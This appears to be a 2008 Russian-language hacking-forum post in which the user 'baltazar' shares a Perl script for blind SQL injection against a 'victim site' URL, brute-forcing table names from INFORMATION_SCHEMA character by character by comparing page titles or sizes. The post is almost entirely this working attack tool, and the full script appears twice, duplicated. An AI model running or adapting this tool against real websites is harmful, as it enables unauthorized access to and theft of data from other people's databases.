baltazar
07.07.2008, 13:34
Эммм.мои скромные начинания в перле,здравая критика воспрнимается
Собственно тулза для работы со слепыми иньекциями,а именно для подбора имен таблиц
#!/usr/bin/perl
use LWP::Simple;
use LWP::UserAgent;
my $userAgent = LWP::UserAgent->new;
my $titleok ;
my $done = 1;
my $server = $ARGV[0];
my $typequery = $ARGV[1];
my $typerror= $ARGV[2];
usage();
if (!$server) { die "Read Usage!\n"; }
if (!$typequery ) { die "Read Usage!\n"; }
print $typequery;
if ($typequery==1) {$querysql = "select+TABLE_NAME+from+INFORMATION_SCHEMA.TABLES+w here+table_schema=database()";}
else {$querysql = "select+TABLE_NAME+from+INFORMATION_SCHEMA.TABLES";}
print"\n[x]Connecting: \n\t$server ...";
my $Attackok= $userAgent->get($server."+and+substring(version(),1,1)=4");
if($Attackok->is_success){
my $contentok = $Attackok->content; print " Connected and Saved \n";
$titleok = get_content($contentok);}
else { print " Connection Failed\nDone"; exit; }
print "[x]Length And Data Information Tables... :\n ";
my $Countertable = 65;
my $title;
while($done)
{
my $lengthCounter = 1;
my $val=0;
while($val!=1 && $lengthCounter<50)
{
my $content = get($server."+and+LENGTH((".$querysql."+limit+".$Countertable.",1))=".$lengthCounter);
$title = get_content($content);
#print("\ntable leng:".$title."-".$titleok."-".$lengthCounter."-".$val);
if($title != $titleok)
{ $val=1;
print "\n\t[$Countertable] ($lengthCounter)";
print $tablename = blind_table_name($Countertable,$lengthCounter);
blind_column_name($tablename);
}
else { $lengthCounter++; }
}
if ($lengthCounter>=50) { $done=0; }
$Countertable++;
}
print "\n\n";
print "[x]End... \n ";
################################################## ################################################## ##
sub blind_table_name {
my $res = undef;
my $i = 0;
my $val2 = 1;
my @cset = (48..57,95,97..122);
my $titles = 0;
while($val2<=$_[1] && $i <= $#cset)
{
my $content1 = get($server."+and+ascii(substring((".$querysql."+limit+".$_[0].",1),".$val2.",1))=".$cset[$i]);
$titles = get_content($content1);
if($titles != $titleok ) {
$res .= chr($cset[$i]); $val2++; $i = 0;}
else { $i++; }
}
return $res;
}
################################################## ################################################## ##
sub blind_column_name {
# come soon
}
################################################## ################################################## ##
sub get_content(){
if ($typerror == 1) {
if ($_[0] =~ m/<title>(.*)<\/title>/)
{ return length($1);}
else {return 0; }
}
else { return length($_[0]); }
}
################################################## ################################################## ##
sub ascii_to_hex ($)
{
(my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;
return $str;
}
################################################## ################################################## ##
sub usage()
{
print q
{
################################################## #################
Blind Scan by baltazar
Usage: blinqsql.pl [Server] [Table] [Type Error]
[Serveur] : Url Victime Site with True id /
[Table] : table site 1 , all table 2
[Type Error] : By title 1 , By allsize 2
################################################## #################
};
}
################################################## ################################################## ##
Собственно тулза для работы со слепыми иньекциями,а именно для подбора имен таблиц
#!/usr/bin/perl
use LWP::Simple;
use LWP::UserAgent;
my $userAgent = LWP::UserAgent->new;
my $titleok ;
my $done = 1;
my $server = $ARGV[0];
my $typequery = $ARGV[1];
my $typerror= $ARGV[2];
usage();
if (!$server) { die "Read Usage!\n"; }
if (!$typequery ) { die "Read Usage!\n"; }
print $typequery;
if ($typequery==1) {$querysql = "select+TABLE_NAME+from+INFORMATION_SCHEMA.TABLES+w here+table_schema=database()";}
else {$querysql = "select+TABLE_NAME+from+INFORMATION_SCHEMA.TABLES";}
print"\n[x]Connecting: \n\t$server ...";
my $Attackok= $userAgent->get($server."+and+substring(version(),1,1)=4");
if($Attackok->is_success){
my $contentok = $Attackok->content; print " Connected and Saved \n";
$titleok = get_content($contentok);}
else { print " Connection Failed\nDone"; exit; }
print "[x]Length And Data Information Tables... :\n ";
my $Countertable = 65;
my $title;
while($done)
{
my $lengthCounter = 1;
my $val=0;
while($val!=1 && $lengthCounter<50)
{
my $content = get($server."+and+LENGTH((".$querysql."+limit+".$Countertable.",1))=".$lengthCounter);
$title = get_content($content);
#print("\ntable leng:".$title."-".$titleok."-".$lengthCounter."-".$val);
if($title != $titleok)
{ $val=1;
print "\n\t[$Countertable] ($lengthCounter)";
print $tablename = blind_table_name($Countertable,$lengthCounter);
blind_column_name($tablename);
}
else { $lengthCounter++; }
}
if ($lengthCounter>=50) { $done=0; }
$Countertable++;
}
print "\n\n";
print "[x]End... \n ";
################################################## ################################################## ##
sub blind_table_name {
my $res = undef;
my $i = 0;
my $val2 = 1;
my @cset = (48..57,95,97..122);
my $titles = 0;
while($val2<=$_[1] && $i <= $#cset)
{
my $content1 = get($server."+and+ascii(substring((".$querysql."+limit+".$_[0].",1),".$val2.",1))=".$cset[$i]);
$titles = get_content($content1);
if($titles != $titleok ) {
$res .= chr($cset[$i]); $val2++; $i = 0;}
else { $i++; }
}
return $res;
}
################################################## ################################################## ##
sub blind_column_name {
# come soon
}
################################################## ################################################## ##
sub get_content(){
if ($typerror == 1) {
if ($_[0] =~ m/<title>(.*)<\/title>/)
{ return length($1);}
else {return 0; }
}
else { return length($_[0]); }
}
################################################## ################################################## ##
sub ascii_to_hex ($)
{
(my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;
return $str;
}
################################################## ################################################## ##
sub usage()
{
print q
{
################################################## #################
Blind Scan by baltazar
Usage: blinqsql.pl [Server] [Table] [Type Error]
[Serveur] : Url Victime Site with True id /
[Table] : table site 1 , all table 2
[Type Error] : By title 1 , By allsize 2
################################################## #################
};
}
################################################## ################################################## ##